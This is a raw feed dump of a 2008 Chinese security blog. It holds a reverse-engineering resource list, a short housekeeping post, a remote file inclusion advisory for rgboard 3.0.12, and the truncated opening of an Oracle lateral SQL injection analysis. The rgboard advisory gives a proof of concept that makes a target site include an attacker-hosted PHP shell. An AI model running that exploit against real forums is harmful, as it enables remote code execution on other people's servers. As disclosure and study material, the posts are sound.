&lt;p&gt;《深入解析Windows操作系统(第４版)》 – 这本书是关于Windows内部机理核心的权威之作。这本书对提高你的逆向水平也是大大有帮助的，当然，前提是在你看懂之后。 URL - &lt;a href=&quot;http://www.china-pub.com/32775&quot; target=&quot;_blank&quot;&gt;http://www.china-pub.com/32775&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;《加密与解密》 – 不错的入门书籍，快出第三版了，&lt;a href=&quot;http://www.china-pub.com/12210&quot; target=&quot;_blank&quot;&gt;http://www.china-pub.com/12210&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;网站&lt;br /&gt;
&lt;a href=&quot;http://www.rootkit.com/&quot; target=&quot;_blank&quot;&gt;www.rootkit.com&lt;/a&gt; – 很多关于系统安全，系统内核方面的资料和代码&lt;br /&gt;
&lt;a href=&quot;http://www.codeproject.com/&quot; target=&quot;_blank&quot;&gt;www.codeproject.com&lt;/a&gt; – 很多程序设计的代码和文章&lt;br /&gt;
msdn.microsoft.com – 包含最新的微软平台下的开发资料&lt;/p&gt;
&lt;p&gt;论坛&lt;br /&gt;
bbs.pediy.com - 看雪论坛，国内最大的加解密论坛，已经向软件安全转型，上面汇集了国内大批高手。&lt;br /&gt;
&lt;a href=&quot;http://www.unpack.cn/&quot; target=&quot;_blank&quot;&gt;www.unpack.cn&lt;/a&gt; - 一蓑烟雨，国内最专业的脱壳论坛，关注面也很广，除了脱壳外还有汉化、软件安全、木马病毒、编程、游戏、文学、音乐、艺术等，上面的高手也不少。&lt;br /&gt;
bbs.driverdevelop.com - 驱网论坛，驱动开发的论坛，高手不少，但是发言的比较少，可以去逛逛。&lt;br /&gt;
forum.sysinternals.com – Sysinternals，很多系统方面的资料，不少高手在上面发言。&lt;br /&gt;
&lt;a href=&quot;http://www.debugman.com/&quot; target=&quot;_blank&quot;&gt;www.debugman.com&lt;/a&gt; - 第8个男人，在下创建的论坛，旨在为志趣相投的朋友提供一个交流平台，目前关注方向为程序设计、逆向、代码安全和系统底层等。&lt;/p&gt;
&lt;p&gt;工具&lt;br /&gt;
这里列出的工具只是很少一部分，对工具的选用，我的观点是哪个随手就用哪个。&lt;br /&gt;
OllyDbg – 调试器，ring3下的调试器，上手快，功能强大，有很多插件。&lt;br /&gt;
SoftIce – 调试器，ring0级调试器，当然ring3程序也是可以调的，功能强大，但已经不更新了，不支持vista等较新的操作系统。&lt;br /&gt;
WinDbg – 调试器，MS自家的调试器，就不多介绍了，两个字 - 推荐。&lt;br /&gt;
IDA – 反汇编器，最强大的静态反汇编分析工具。&lt;br /&gt;
LordPE – PE工具，可编辑PE文件等。&lt;br /&gt;
PEiD – PE工具，可识别PE文件的格式信息，如用什么编译器编译的，是不是被什么壳处理过了等。&lt;br /&gt;
FileMon – 文件监视工具，可监视系统或程序对哪些文件做了什么操作。&lt;br /&gt;
RegMon – 注册表监视工具，可监视系统或程序对哪些注册表项做了什么操作。&lt;br /&gt;
SSM – HIPS，这个工具有时候可以给逆向带来很多方便，如抓取某个文件，禁止访问某个注册表项，盒灰分析等。&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(0) | &lt;a href=&quot;http://huaidan.org/archives/1960.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1960.html&quot;&gt;http://huaidan.org/archives/1960.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1960.html&amp;amp;title=代码逆向乱谈之导引&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1960.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1960.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1960.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;无相关日志&lt;/li&gt;
	&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/ef50edfb079e81345030b0f0318d50a4&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/ef50edfb079e81345030b0f0318d50a4/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1960.html/feed</wfw:commentRss><description>作者：xikug (xikug_at_163.com)
来源：安全焦点
序
早就想写点什么，自己都不知道一天在瞎忙什么，一直到最近才开始动手。。。我想通过这个乱谈系列跟大家分享一些心得。我打算在这个系列文...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/ef50edfb079e81345030b0f0318d50a4&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/ef50edfb079e81345030b0f0318d50a4/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>技术文章</category><category>代码逆向</category><pubDate>Thu, 08 May 2008 12:52:14 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1960.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1960</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1960.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72180822/1230972</fs:itemid></item><item><title>刚发现评论系统出了问题</title><link>http://huaidan.org/archives/1959.html</link><content:encoded>&lt;p&gt;这几天一直没有看到大家发评论，结果刚才检查了下发现评论出了问题，赶紧修复了下，现在没问题了，大家可以继续板凳、沙发了，嘿嘿。&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(9) | &lt;a href=&quot;http://huaidan.org/archives/1959.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/life&quot; title=&quot;显示心情随笔的所有日志&quot; rel=&quot;category tag&quot;&gt;心情随笔&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1959.html&quot;&gt;http://huaidan.org/archives/1959.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1959.html&amp;amp;title=刚发现评论系统出了问题&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1959.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1959.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1959.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;无相关日志&lt;/li&gt;
	&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/9ee3a1547f09c246a60fe9164f0ea82c&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/9ee3a1547f09c246a60fe9164f0ea82c/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1959.html/feed</wfw:commentRss><description>这几天一直没有看到大家发评论，结果刚才检查了下发现评论出了问题，赶紧修复了下，现在没问题了，大家可以继续板凳、沙发了，嘿嘿。
	
	
	评论数量(9) &amp;#124; 发表评论 &amp;#124; 分类：心情随...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/9ee3a1547f09c246a60fe9164f0ea82c&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/9ee3a1547f09c246a60fe9164f0ea82c/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>心情随笔</category><pubDate>Wed, 07 May 2008 18:19:57 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1959.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1959</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1959.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72180823/1230972</fs:itemid></item><item><title>rgboard 3.0.12 远程文件包含漏洞</title><link>http://huaidan.org/archives/1958.html</link><content:encoded>&lt;p&gt;鬼仔：昨天有事出去了下，家里宽带到期了，我竟然不知道，晚上回来之后才发现的，今天去交了费，所以更新没跟上。&lt;/p&gt;
&lt;p&gt;Infos: rgboard 3.0.12 远程文件包含漏洞&lt;br /&gt;
Author: Flyh4t[w.s.t]&lt;/p&gt;
&lt;p&gt;rgboard 3.0.12 是韩国的一个论坛程序,可以用google搜索rgboard查看使用的网站&lt;br /&gt;
vul code:&lt;br /&gt;
\include\bbs.lib.inc.php：&lt;br /&gt;
if (!defined(&amp;#8217;BBS_LIB_INC_INCLUDED&amp;#8217;)) {&lt;br /&gt;
define(&amp;#8217;BBS_LIB_INC_INCLUDED&amp;#8217;, 1);&lt;br /&gt;
// *&amp;#8211; BBS_LIB_INC_INCLUDED START &amp;#8211;*&lt;br /&gt;
if(!$site_path) $site_path=&amp;#8217;./&amp;#8217;;&lt;br /&gt;
require_once &amp;#8220;{$site_path}include/lib.inc.php&amp;#8221;;&lt;br /&gt;
//$site_path没有过滤直接放过来包含了&lt;br /&gt;
poc:&lt;br /&gt;
在你的网站放个phpshell,目录和文件名为/include/lib.inc.php&lt;br /&gt;
然后访问&lt;br /&gt;
&lt;a href=&quot;http://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/&quot; target=&quot;_blank&quot;&gt;httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(0) | &lt;a href=&quot;http://huaidan.org/archives/1958.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/tools&quot; title=&quot;显示工具收集的所有日志&quot; rel=&quot;category tag&quot;&gt;工具收集&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1958.html&quot;&gt;http://huaidan.org/archives/1958.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1958.html&amp;amp;title=rgboard 3.0.12 远程文件包含漏洞&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1958.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1958.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1958.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1825.html&quot; title=&quot;风讯的产品,你还敢用吗? (2008/03/30)&quot;&gt;风讯的产品,你还敢用吗?&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1144.html&quot; title=&quot;邪恶的空格-PHP本地文件包含漏洞的新突破口 (2007/06/08)&quot;&gt;邪恶的空格-PHP本地文件包含漏洞的新突破口&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1463.html&quot; title=&quot;迅速删除非法文件名代码的 0day (2007/11/12)&quot;&gt;迅速删除非法文件名代码的 0day&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1369.html&quot; title=&quot;说一个隐蔽克隆帐号的方法 (2007/09/27)&quot;&gt;说一个隐蔽克隆帐号的方法&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;http://huaidan.org/archives/1263.html&quot; title=&quot;百度超级搜霸远程代码执行漏洞 (2007/08/02)&quot;&gt;百度超级搜霸远程代码执行漏洞&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/28756220bf9966d341f364b7d22980e7&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/28756220bf9966d341f364b7d22980e7/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1958.html/feed</wfw:commentRss><description>鬼仔：昨天有事出去了下，家里宽带到期了，我竟然不知道，晚上回来之后才发现的，今天去交了费，所以更新没跟上。
Infos: rgboard 3.0.12 远程文件包含漏洞
Author: Flyh4t[w.s.t]
rgboard 3.0.12 是韩国...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/28756220bf9966d341f364b7d22980e7&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/28756220bf9966d341f364b7d22980e7/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>Exploit</category><category>漏洞</category><category>工具收集</category><category>rgboard</category><category>RFI</category><pubDate>Wed, 07 May 2008 17:17:03 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1958.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1958</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1958.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72180824/1230972</fs:itemid></item><item><title>ORACLE LATERAL-SQL-INJECTION 个人见解</title><link>http://huaidan.org/archives/1957.html</link><content:encoded>&lt;p&gt;原PAPER地址：&lt;br /&gt;
&lt;a href=&quot;http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf&quot; target=&quot;_blank&quot;&gt;http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;author : kj021320&lt;br /&gt;
team :  I.S.T.O&lt;/p&gt;
&lt;p&gt;最近忙啊忙啊的，今天终于有点点时间抽出来看看技术文章了，最近国外又出了关于新型ORA注入技术的PAPER，赶紧测试，主要是出现在SQL语句字符拼 接的时候，DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。&lt;span id=&quot;more-1957&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;如果直接执行SQL语句或者参数绑定则不用担心太多，&lt;/p&gt;
&lt;p&gt;如以下ORACLE存储过程&lt;/p&gt;
&lt;p&gt;create or replace procedure kjdatepoc(date d)&lt;/p&gt;
&lt;p&gt;as&lt;/p&gt;
&lt;p&gt;begin&lt;/p&gt;
&lt;p&gt;insert into kjdatetable values(d);&lt;/p&gt;
&lt;p&gt;commit;&lt;/p&gt;
&lt;p&gt;end;&lt;/p&gt;
&lt;p&gt;根本不需要担心遭受到SQL新型注入攻击，那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢！？一般都是采用了动态SQL而又不采用参数绑定的语句。&lt;/p&gt;
&lt;p&gt;例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE&lt;/p&gt;
&lt;p&gt;看以下存储过程&lt;/p&gt;
&lt;p&gt;create or replace procedure kjdatepoc(date d)&lt;/p&gt;
&lt;p&gt;as&lt;/p&gt;
&lt;p&gt;begin&lt;/p&gt;
&lt;p&gt;execute immediate &amp;#8216;insert into kjdatetable values(&amp;#8217;|| d ||&amp;#8217;)';&lt;/p&gt;
&lt;p&gt;commit;&lt;/p&gt;
&lt;p&gt;end;&lt;/p&gt;
&lt;p&gt;那么遇到以上的存储过程或者函数等，也通过修改SESSION中的NLS_DATE_FORMAT中